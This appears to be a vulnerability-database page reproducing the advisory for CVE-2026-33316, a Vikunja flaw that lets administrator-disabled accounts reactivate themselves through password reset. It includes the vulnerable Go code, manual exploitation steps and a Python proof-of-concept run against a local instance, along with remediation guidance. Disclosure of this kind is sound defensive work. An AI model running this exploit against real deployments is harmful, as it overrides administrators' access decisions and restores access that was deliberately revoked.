Python
CVE-2026-33316
HIGH
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.
Vulnerable Code Snippet
In pkg/user/user_password_reset.go, beginning at line 66:
// Hash the password
user.Password, err = HashPassword(reset.NewPassword)
if err != nil {
return
}
err = removeTokens(s, user, TokenPasswordReset)
if err != nil {
return
}
user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
_, err = s.
Cols("password", "status").
Where("id = ?", user.ID).
Update(user)
if err != nil {
return
}The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a standard user account in Vikunja.
- As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (
status = 2). - Attempt to log in as the disabled user to verify access is blocked (receives
HTTP 412: This account is disabled). - Without authenticating, send a
POSTrequest to/api/v1/user/password/tokenwith the disabled user's email address. - Retrieve the password reset token from the incoming email.
- Send a
POSTrequest to/api/v1/user/password/resetwith the token and a new password. - Log in using the new password. Observe that the login succeeds (
HTTP 200) and the account has been maliciously reactivated.
Automation PoC
import requests
import psycopg2
import time
import secrets
API_URL = "http://localhost:3456/api/v1"
def main():
username = f"testuser_{secrets.token_hex(4)}"
email = f"{username}@example.com"
password = "SuperSecretPassword123!"
print("[1] Registering user...")
requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})
print("[2] Admin disables account (Status = 2)...")
conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
cursor = conn.cursor()
cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
conn.commit()
print("[3] Verifying login is blocked...")
res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
print(f"Login response: {res.status_code} (Should be 412)")
print("[4] Attacker requests password reset...")
requests.post(f"{API_URL}/user/password/token", json={"email": email})
print("[5] Attacker grabs token from email/DB...")
cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
user_id = cursor.fetchone()[0]
cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
token = cursor.fetchone()[0]
print("[6] Attacker submits reset, triggering bug...")
new_password = "HackedPassword123!"
requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})
print("[7] Attacker logs in successfully!")
res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
print(f"Final Login response: {res.status_code} (Should be 200)")
cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
conn.close()
if __name__ == "__main__":
main()Impact
- Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
- Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.
AnalysisAI
Vikunja task management application contains an authentication bypass vulnerability in its password reset logic that allows disabled user accounts to be reactivated without authorization. The ResetPassword() function unconditionally sets user status to 'Active' after password reset completion, enabling disabled users to regain full access by requesting a password reset token and completing the reset process. A working proof-of-concept Python script is publicly available demonstrating automated exploitation of this vulnerability.
Technical ContextAI
This vulnerability affects Vikunja, a Go-based open-source task management application (pkg:go/code.vikunja.io_api). The root cause is classified as CWE-284 (Improper Access Control), specifically in the user_password_reset.go module at line 66 where the ResetPassword() function unconditionally executes 'user.Status = StatusActive' without validating the account's prior state. The flaw stems from an incorrect assumption that password resets only occur for unconfirmed or normally-active accounts, failing to account for administratively-disabled accounts (status = 2). The RequestUserPasswordResetTokenByEmail function compounds the issue by using GetUserWithEmail() which does not filter disabled users, allowing them to initiate the reset flow. The vulnerable code directly updates the database with both new password hash and active status via a two-column update operation, bypassing any authorization checks on account status transitions.
RemediationAI
Upgrade Vikunja to a patched version incorporating commits 049f4a6be46f9460bd516f489ef9f569574bc70d and d8570c603da1f26635ce6048d6af85ede827abfb as detailed in the vendor advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767. The patches modify the ResetPassword() function to preserve existing account status for disabled users rather than unconditionally activating them. Until patching is completed, implement compensating controls including monitoring of password reset activity for disabled accounts, implementing additional verification steps before allowing password resets on sensitive accounts, and auditing user status changes in database logs to detect unauthorized reactivations. Consider temporarily disabling password reset functionality via reverse proxy rules if disabled account security is critical to operations.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: High| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-vq4q-79hh-q767